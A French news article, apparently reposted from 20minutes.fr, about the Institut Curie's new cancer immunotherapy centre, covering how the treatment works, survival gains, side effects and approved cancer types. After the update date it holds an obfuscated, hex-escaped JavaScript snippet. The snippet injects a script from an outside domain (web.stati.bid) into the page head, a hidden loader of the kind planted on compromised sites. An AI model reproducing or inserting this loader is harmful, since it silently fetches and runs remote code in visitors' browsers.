fbpx
immunothérapie

L'immunothérapie: Une vraie révolution dans la lutte contre le cancer?

RECHERCHE A l’occasion de l’inauguration d’un centre dédié à l’immunothérapie à l’Institut Curie ce mercredi, zoom sur ce traitement récent et prometteur…

  • L’Institut Curie inaugure son centre d’immunothérapie des cancers mercredi 28 février.
  • Un lieu qui regroupe chercheurs, médecin et patients pour explorer ce traitement récent et révolutionnaire: l’immunothérapie.
  • Comment cela fonctionne et avec quels résultats? Deux spécialistes de la question expliquent pourquoi c’est une avancée majeure et en quoi ce lieu sera unique.
  • Les chercheurs ont posé leurs valises au printemps dernier, mais à partir de mars, une vingtaine de patients seront hospitalisés dans le nouveau Centre d’Immunothérapie des cancers, inauguré ce mercredi à l’Institut Curie. Un lieu unique en France et porteur de bien des espoirs pour les personnes touchées de près ou de loin par le cancer. Dans quelle mesure l’immunothérapie pourrait bouleverser la prise en charge des cancers ?

 

Comment ça marche ?

Si la recherche n’a pas encore découvert un vaccin contre tous les cancers, le principe de l’immunothérapie en cancérologie s’en rapproche. « On essaie d’induire une réponse immunitaire contre les cellules cancéreuses, résume Sébastian Amigorena, immunologiste et directeur de ce centre d’immunothérapie de Curie. Avec une différence de taille : au lieu de stimuler une réponse contre une agression qui n’est pas encore là, on la sollicite quand le cancer est présent et même avancé. »

Une recherche récente : la thérapie a d’abord été utilisée pour lutter contre le mélanome il y a une dizaine d’années, et a fait ses preuves depuis trois ans dans le cancer du poumon. « Historiquement, on a eu trois phases dans le traitement du cancer : la chimiothérapie, souvent par perfusion, c’est un peu les chars d’assaut : ça détruit tout sur son passage, la tumeur mais aussi les organes sains, résume Nicolas Girard, pneumologue spécialiste du cancer du poumon. Depuis quinze ans, on a des traitements ciblés : on n’attaque plus de façon globale mais on cherche à éteindre un interrupteur avec des médicaments. Encore faut-il que l’interrupteur soit là ! Ces deux méthodes attaquent directement la tumeur, qui peut devenir résistante. »

Alors qu’avec l’immunothérapie, on va stimuler les défenses immunitaires du patient, plus à même de lutter contre la tumeur. « On va faire tomber une sorte de masque de la cellule cancéreuse qui empêche souvent le corps de lutter contre la maladie », reprend Nicolas Girard, membre de ce centre.

 

Efficacité de l’immunothérapie

Avec un impact impressionnant sur les patients. « Avec l’immunothérapie, on va doubler les chances de survie par rapport à une chimio classique pour un patient atteint d’un cancer du poumon », assure Nicolas Girard. Et ce traitement novateur a fait également ses preuves sur la durée : « une fois que les cellules ont appris à reconnaître la tumeur, les effets sont prolongés, poursuit le chercheur. Avec une chimiothérapie, il y a toujours un risque de rechute, moins avec l’immunothérapie. » Pour le mélanome, 20 % des patients traités ont une réponse positive à long terme. « Ils survivent pendant des années, se félicite le directeur de ce centre. Est-ce qu’on peut appeler ça des guérisons ? On n’a pas encore le recul suffisant. »

 

Un traitement moins invasif

C’est en tout cas une révolution parce qu’on parle de patients qui n’avaient pas d’autre solution thérapeutique. Du temps en plus donc, mais aussi une qualité de vie qui n’a rien à avoir : le traitement a une toxicité moindre que chimio ou la radiothérapie, puisqu’on réutilise les défenses immunitaires. « Cela transforme la vie des patients : certains retournent travailler ! », se réjouit le pneumologue. Avec tout de même quelques effets indésirables : inflammations au niveau digestif et troubles de la thyroïde. « Qui sont plus rares et plus faciles à gérer que les effets indésirables de la chimio », plaide le Pr Girard.

 

Pour quels cancers ?

Qui rappelle que ce nouveau traitement est approuvé pour certains cancers : ceux de la peau, du poumon et du rein. Pourquoi ces cancers ? « L’immunothérapie peut être testée pour tous les cancers, mais elle est plus efficace pour ceux qui résultent d’une agression de produits cancérigènes : tabac pour le poumon, UV pour le mélanome, reprend le pneumologue. Ces substances déclenchent déjà des réponses immunitaires, certes insuffisantes, mais elles existent. » Pour les cancers du sein, par exemple, l’efficacité est moindre. En tout cas aujourd’hui.

Cette immunothérapie n’est proposée qu’aux patients en stade avancé, souvent passés par la chimiothérapie, des rechutes, des métastases… Autant d’épreuves qui ont pu affaiblir leurs défenses immunitaires. « Mais peut-être que cette thérapie fonctionnerait encore mieux de façon précoce », avance le pneumologue.

 

Un centre unique et prometteur

Une piste d’exploration essentielle dans la recherche sur le cancer à l’heure actuelle. Voilà pourquoi ce centre attire bien des regards. En rassemblant sur un même étage chercheurs, médecins et patients, les connaissances sur cette thérapie récente et révolutionnaire devraient circuler et avancer rapidement. « D’habitude les médecins travaillent dans les hôpitaux, les chercheurs dans des laboratoires », sourit le directeur de ce centre unique en France. Avec pour objectif d’élargir le nombre de patients qui pourraient bénéficier de ces progrès thérapeutiques : « nous allons mener des recherches pour combiner cette immunothérapie avec les autres traitements pour les cancers où l’efficacité est moins démontrée. » Autre piste : « personnaliser au mieux l’utilisation de cette immunothérapie », complète Nicolas Girard.

 


Pour consulter l’article en intégralité : www.20minutes.fr

Mis à jour le 01/03/2018 var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)